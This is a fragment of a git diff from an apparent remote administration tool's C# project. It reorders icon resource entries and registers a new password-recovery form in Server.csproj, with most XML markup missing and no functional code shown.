..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + ..\images\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -236,14 +239,14 @@ ..\images\eye.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - ..\images\logger.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\run.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\application_delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\images\server-disconnect.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -255,7 +258,7 @@ ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\images\registry.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\images\save.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index 85c0dbe5..6d2ef241 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -93,6 +93,7 @@ + @@ -115,6 +116,7 @@ + @@ -212,6 +214,7 @@ + @@ -267,6 +270,12 @@ Component + + Form + + + FrmPasswordRecovery.cs + Form @@ -370,6 +379,9 @@ FrmMain.cs + + FrmPasswordRecovery.cs + FrmRemoteDesktop.cs @@ -431,6 +443,7 @@ + @@ -444,6 +457,7 @@ True +